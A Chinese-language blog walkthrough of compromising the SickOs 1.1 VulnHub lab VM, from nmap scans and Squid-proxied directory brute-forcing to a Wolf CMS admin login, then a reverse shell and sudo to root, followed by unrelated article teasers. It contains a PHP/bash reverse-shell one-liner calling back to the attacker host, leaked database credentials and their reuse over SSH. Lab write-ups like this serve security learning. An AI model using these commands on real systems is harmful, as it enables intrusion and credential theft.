当前位置: 首页 > news >正文

Sickos1.1 详细靶机思路 实操笔记

Sickos1.1 详细靶机思路 实操笔记

免责声明

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。

靶机链接SickOs: 1.1 ~ VulnHub下来后导入到vmware里面

右键vm靶机栏 打开靶机的.ovf文件

在这里插入图片描述

Nmap信息收集

主机发现:

sudo nmap -sn 192.168.236.128/24

开启靶机后能找到133这台机器,就是我们要打的靶机

TCP扫描

sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133

在这里插入图片描述

拿到了这三个端口22,3128,8080 对应的端口分别为ssh squid-http http-proxy

详细端口扫描

nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133

在这里插入图片描述

给出了更详细的信息,如服务版本号,主机型号等

nmap默认漏洞脚本扫描

nmap --script=vuln -oA sickos_script p22,8080,3128 192.168.236.133

在这里插入图片描述

没有什么发现,nmap没有给出利用路径

web渗透

攻击面分析

我们知道了3128开放的是一个squid代理服务,版本为3.1.19,如下直接访问没有给什么东西

在这里插入图片描述

8080端口关闭,是一个http-proxy 可能是什么代理之类的服务,直接去访问是拒绝连接

22端口ssh远程连接我们可以尝试去空密码连接,但可能性不大,如果在我们去寻找凭据实在走不下去了可以去尝试一下

squid代理

先去搜索一下squid服务

Squid代理服务器
Squid主要提供缓存加速、应用层过滤控制、web服务隐藏真实IP(安全性)的功能。
1、代理的工作机制
代替客户机向网站请求数据,从而可以隐藏用户的真实IP地址。
将获得的网页数据(静态 Web 元素)保存到缓存中并发送给客户机,以便下次请求相同的数据时快速响应。
2、代理的类型
传统代理:

适用于Internet,需在客户机指定代理服务器的地址和端口。
透明代理:

客户机不需指定代理服务器的地址和端口,而是通过默认路由、防火墙策略将Web访问重定向给代理服务器处理。
反向代理:

如果 Squid 反向代理服务器中缓存了该请求的资源,则将该请求的资源直接返回给客户端;否则反向代理服务器将向后台的 WEB 服务器请求资源,然后将请求的应答返回给客户端,同时也将该应答缓存(静态)在本地,供下一个请求者使用。

靶机的squid跑在3128端口上,应该指定的代理服务器端口就为3128,在浏览器上设置一下proxy

在这里插入图片描述

设置好后发现直接访问靶机ip可以通,给了一个BLEHHH!!! 这是一个俚语

在这里插入图片描述

既然可以通那就爆破一下目录吧

指定一下代理

dirb http://192.168.236.133/ -p http://192.168.236.133:3128/

在这里插入图片描述

+ http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291)                                                                                                     
+ http://192.168.236.133/connect (CODE:200|SIZE:109)                                                                                                      
+ http://192.168.236.133/index (CODE:200|SIZE:21)                                                                                                         
+ http://192.168.236.133/index.php (CODE:200|SIZE:21)                                                                                                     
+ http://192.168.236.133/robots (CODE:200|SIZE:45)                                                                                                        
+ http://192.168.236.133/robots.txt (CODE:200|SIZE:45)                                                                                            
+ http://192.168.236.133/server-status (CODE:403|SIZE:296)  

先访问最感兴趣的index.php

其实就是之前的BLEHHHH!!

其他的目录扫了一眼,/connect里面是一个脚本,没什么用大概就是说 你可能想要尝试(利用)我的服务

/server-status 403forbidden无法访问

#!/usr/bin/pythonprint("I Try to connect things very frequently")
print("You may want to try my services")

robots.txt :

在这里插入图片描述

给了一个Dissalow:/wolfcms,尝试一下访问这个路由,尝试访问发现真的有

在这里插入图片描述

点了一圈没有什么发现,网页都是一些静态资源,去网上搜索一下wolfcms有没有什么框架漏洞

Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit

这里发现一个长得很像登陆界面的url

在这里插入图片描述

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

确实跳转到了一个登录页

在这里插入图片描述

弱密码U/P:admin admin进入wolfcms的后台

在这里插入图片描述

反向连接shell

在登录wolfcms后台之后随便点点,发现有很多代码执行和文件上传的位置,比如Home Page里面就可以填写php代码

在Articles中嵌入

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");?>

来分析一下这个反向连接shell

exec() php的内置函数,用于执行外部程序 基础语法:exec(command,output,return_var) (命令,存储命令的输出,返回状态码)

/bin/bash Linux系统中的Bash shell的路径 /bin/bash是Bash shell的可执行文件

-c这是Bash的一个选项,表示后面跟着的字符串会被当作一个命令来执行

'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'这个字符串是传递给Bash的命令。我们再进一步解析:

bash -i

bash:启动一个新的Bash shell。-i:表示以交互模式运行Bash shell。

>&:这是一个重定向操作符,用于将标准输出(stdout)和标准错误(stderr)合并并重定向到指定的目标。

/dev/tcp/192.168.236.128/443:这是一个特殊的文件描述符,表示通过TCP协议连接到IP地址为 192.168.236.128 的主机,端口为 443

0>&1

0:表示标准输入(stdin)。

>&1:表示将标准输入(stdin)重定向到标准输出(stdout)的文件描述符。

在这里插入图片描述

嵌入,保存后在kali上开启监听

sudo nc -lvnp 443

在这里插入图片描述

再去访问Artical 反弹shell成功

在这里插入图片描述

提权

信息收集

先看一下得到的权限能干什么,有什么权限,在这个权限下能看到的文件等信息,这里我建议最好把整个shell的所有能访问到的东西都先浏览一遍,把他的文件结构都搞清楚,要知道他有没有什么可以访问的配置文件config等,/etc/passwd这种重要的目录也要去尝试一下有没有权限打开,里面是否有我们感兴趣的内容

whoami

可以看到现在的用户是www-data

在这里插入图片描述

尝试访问/etc/passwd 发现root和sickos这两个账户是拥有bash环境的,而我们所在的www-data是没有的,所以如果我们找到凭据应该优先尝试这两个账户。

在这里插入图片描述

ls -alh

能看到有一个config.php配置文件 ,得到了一个凭据john@123 这里还给了一个mysql的用户名,但是这个机器没开3389,没有实际意义 ,得到的这个凭据,可以结合上面得到的两个账号,尝试一下ssh连接,如果可以就成功提权了

<?php // Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800);  // 30 minutes// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link) 
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900);  // 15 minutes

看到别人的博客,还找到了这个路径下的配置文件

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php

里面有一个密码在这里插入图片描述
但实际好像并没有什么用处

ssh

尝试sickos root john@123 pawpsw123这一组凭据

这一组可以连接

ssh sickos@192.168.236.133john@123

sudo -l查看一下拿到的shell的权限

在这里插入图片描述

有sudo权限,可以运行任何命令(ALL:ALL) 也就是可以用sudo命令提升到root权限

那就直接切换root用户

sudo /bin/bash

成功提权,root目录下有flag

在这里插入图片描述

成功通关sickos

相关文章:

Sickos1.1 详细靶机思路 实操笔记

Sickos1.1 详细靶机思路 实操笔记 免责声明 本博客提供的所有信息仅供学习和研究目的&#xff0c;旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动&#xff0c;您将独自承担…...

rk3568-linux-5.10.160移植rtl8822cs wifi 模块纪要

rk3568-linux-5.10.160移植rtl8822cs wifi 模块纪要 1、将驱动添加到 kernel/drivers/net/wireless/rockchip_wlan/ 或者 kernel/drivers/net/wireless/realtek/rtlwifi/ 2、修改该目录下的makefile、kconfig 3、修改rtl8822cs/os_dep/linux/os_intfs.c&#xff0c;添加 MO…...

QT基础 编码问题 定时器 事件 绘图事件 keyPressEvent QT5.12.3环境 C++实现

一、编码问题 在计算机编程中&#xff0c;流&#xff08;Stream&#xff09;是一种抽象的概念&#xff0c;用于表示数据的输入或输出。根据处理数据的不同方式&#xff0c;流可以分为字节流&#xff08;Byte Stream&#xff09;和字符流&#xff08;Character Stream&#xff0…...

学习electron

一、开发环境 1、先行安装 node.js 和 npm 2、检查 Node.js 是否正确安装&#xff0c;请在您的终端输入以下命令&#xff1a;检测安装的版本 node -v npm -v 注意 因为 Electron 将 Node.js 嵌入到其二进制文件中&#xff0c;你应用运行时的 Node.js 版本与你系统中运…...

《C++智能合约与区块链底层交互全解析:构建坚实的去中心化应用桥梁》

在区块链技术的广阔天地里&#xff0c;C智能合约扮演着极为关键的角色&#xff0c;而其与区块链底层的交互则是实现各种去中心化应用功能的核心环节。深入理解并掌握这种交互机制&#xff0c;对于区块链开发者来说至关重要&#xff0c;它犹如一座桥梁&#xff0c;将智能合约的业…...

MySQL:事务

什么是事务 事务就是把SQL语句打包成一个整体&#xff0c;在这组SQL执行的时候&#xff0c;要么同时成功&#xff0c;要么同时失败。 事务的ACID特性 事务的ACID特性指的是 Atomicity (原⼦性)&#xff0c; Consistency (⼀致性)&#xff0c; Isolation (隔离 性)和 Durabi…...

Linux——进程间通信之管道

进程间通信之管道 文章目录 进程间通信之管道1. 进程间通信1.1 为什么要进行进程间的通信1.2 如何进行进程间的通信1.3 进程间通信的方式 2. 管道2.1 匿名管道2.1.1 系统调用pipe()2.1.2 使用匿名管道进行通信2.1.1 匿名管道四种情况2.1.2 匿名管道的五大特性2.1.3 进程池 2.2 …...

java-排序算法汇总

排序算法&#xff1a; 冒泡排序&#xff08;Bubble Sort&#xff09; 选择排序&#xff08;Selection Sort&#xff09; 插入排序&#xff08;Insertion Sort&#xff09; 快速排序&#xff08;Quick Sort&#xff09; 归并排序&#xff08;Merge Sort&#xff09; 堆排序&…...

Vscode进行Java开发环境搭建

Vscode进行Java开发环境搭建 搭建Java开发环境(Windows)1.Jdk安装2.VsCode安装3.Java插件4.安装 Spring 插件5.安装 Mybatis 插件5.安装Maven环境6.Jrebel插件7.IntelliJ IDEA Keybindings8. 收尾 VS Code&#xff08;Visual Studio Code&#xff09;是由微软开发的一款免费、开…...

算法学习笔记(五):二叉树一遍历、DFS

一.遍历二叉树 二叉树TreeNode类 /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* TreeNode(int val) { this.val val; }* TreeNode(int val, TreeNode left, Tree…...

#Verilog HDL# Verilog中的generate用法集锦

生成块允许复制模块实例或有条件地实例化任何模块。它提供了基于Verilog参数构建设计的能力。当相同的操作或模块实例需要重复多次,或者当某些代码需要根据给定的Verilog参数有条件地包含时,这些语句特别方便。 生成块不能包含端口、参数、specparam声明或指定块。但是,允许…...

简述C++map容器

pair键值对 std::pair在很多关联容器&#xff08;如std::map、std::multimap、std::set、std&#xff1a;multiset等&#xff09;中被广泛应用。以std::map为例&#xff0c;std::map是一个键值对的容器&#xff0c;其中每个元素都是一个std::pair&#xff0c;键用于唯一标识元…...

Vue 学习随笔系列十七 -- 表格样式修改

表格样式修改 文章目录 表格样式修改一、表格背景颜色修改1、方法一2、方法二 二、多级表头颜色修改 一、表格背景颜色修改 1、方法一 表格外套一个 div &#xff0c;修改div的背景色&#xff0c;并将表格背景色设置为透明 参考代码&#xff1a; <template><div cl…...

08 —— Webpack打包图片

【资源模块 | webpack 中文文档 | webpack中文文档 | webpack中文网】https://www.webpackjs.com/guides/asset-modules/?sid_for_share99125_3 Webpack打包图片以8KB为临界值判断 大于8KB的文件&#xff1a;发送一个单独的文件并导出URL地址 小于8KB的文件&#xff1a;导出一…...

01.Django快速入门

一、Django 快速入门 使用最新版本 Django4.2LTS 版本,3 年内不需要更换版本由浅入深讲解&#xff0c;浅显易懂课程大纲全面包含 Django 框架知识点&#xff0c;内容丰富全面细致知识点结合项目实战实现全栈项目应用 Django 官网(文档): https://docs.djangoproject.com/zh-h…...

【大数据学习 | Spark-Core】spark-shell开发

spark的代码分为两种 本地代码在driver端直接解析执行没有后续 集群代码&#xff0c;会在driver端进行解析&#xff0c;然后让多个机器进行集群形式的执行计算 spark-shell --master spark://nn1:7077 --executor-cores 2 --executor-memory 2G sc.textFile("/home/ha…...

Modern Effective C++ Item 14 如果函数不抛出异常请使用noexcept

C11 noexcept关键字用于指定函数不会抛出异常&#xff0c;有助于提高程序的异常安全性&#xff0c;还能够使编译器生成更加高效的代码。 noexcept 是函数接口的一部分 函数是否声明为 noexcept 是接口设计的一部分&#xff0c;客户端代码可能会依赖这一点。如果一个函数被声明…...

cudatoolkit安装(nvcc -V错误版本解决)

CudaToolKit安装&#xff08;nvcc&#xff09; cudatoolkit 是 CUDA 开发工具包&#xff08;CUDA Toolkit&#xff09; 的核心部分&#xff0c;包含了一系列用于开发和运行 CUDA 应用程序的软件组件。nvcc 是 NVIDIA CUDA 编译器驱动&#xff0c;用于将 CUDA C/C 代码编译成可…...

DTO和VO的区别及使用场景详解

随着互联网的发展&#xff0c;前后端分离的开发模式越来越流行。在前后端数据交互过程中&#xff0c;为了保证数据的安全性和效率&#xff0c;通常会采用 DTO 和 VO 来封装数据。本篇博客将详细介绍 DTO 和 VO 的区别以及使用场景。 大家可能会有个疑问&#xff0c;既然DTO是展…...

百度在下一盘大棋

这两天世界互联网大会在乌镇又召开了。 我看到一条新闻&#xff0c;今年世界互联网大会乌镇峰会发布“2024 年度中国互联网企业创新发展十大典型案例”&#xff0c;百度文心智能体平台入选。 这个智能体平台我最近也有所关注&#xff0c;接下来我就来讲讲它。 百度在下一盘大棋…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

第25节 Node.js 断言测试

Node.js的assert模块主要用于编写程序的单元测试时使用&#xff0c;通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试&#xff0c;通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

【JVM面试篇】高频八股汇总——类加载和类加载器

目录 1. 讲一下类加载过程&#xff1f; 2. Java创建对象的过程&#xff1f; 3. 对象的生命周期&#xff1f; 4. 类加载器有哪些&#xff1f; 5. 双亲委派模型的作用&#xff08;好处&#xff09;&#xff1f; 6. 讲一下类的加载和双亲委派原则&#xff1f; 7. 双亲委派模…...

Selenium常用函数介绍

目录 一&#xff0c;元素定位 1.1 cssSeector 1.2 xpath 二&#xff0c;操作测试对象 三&#xff0c;窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四&#xff0c;弹窗 五&#xff0c;等待 六&#xff0c;导航 七&#xff0c;文件上传 …...

数学建模-滑翔伞伞翼面积的设计,运动状态计算和优化 !

我们考虑滑翔伞的伞翼面积设计问题以及运动状态描述。滑翔伞的性能主要取决于伞翼面积、气动特性以及飞行员的重量。我们的目标是建立数学模型来描述滑翔伞的运动状态,并优化伞翼面积的设计。 一、问题分析 滑翔伞在飞行过程中受到重力、升力和阻力的作用。升力和阻力与伞翼面…...

Python 训练营打卡 Day 47

注意力热力图可视化 在day 46代码的基础上&#xff0c;对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

基于鸿蒙(HarmonyOS5)的打车小程序

1. 开发环境准备 安装DevEco Studio (鸿蒙官方IDE)配置HarmonyOS SDK申请开发者账号和必要的API密钥 2. 项目结构设计 ├── entry │ ├── src │ │ ├── main │ │ │ ├── ets │ │ │ │ ├── pages │ │ │ │ │ ├── H…...

VisualXML全新升级 | 新增数据库编辑功能

VisualXML是一个功能强大的网络总线设计工具&#xff0c;专注于简化汽车电子系统中复杂的网络数据设计操作。它支持多种主流总线网络格式的数据编辑&#xff08;如DBC、LDF、ARXML、HEX等&#xff09;&#xff0c;并能够基于Excel表格的方式生成和转换多种数据库文件。由此&…...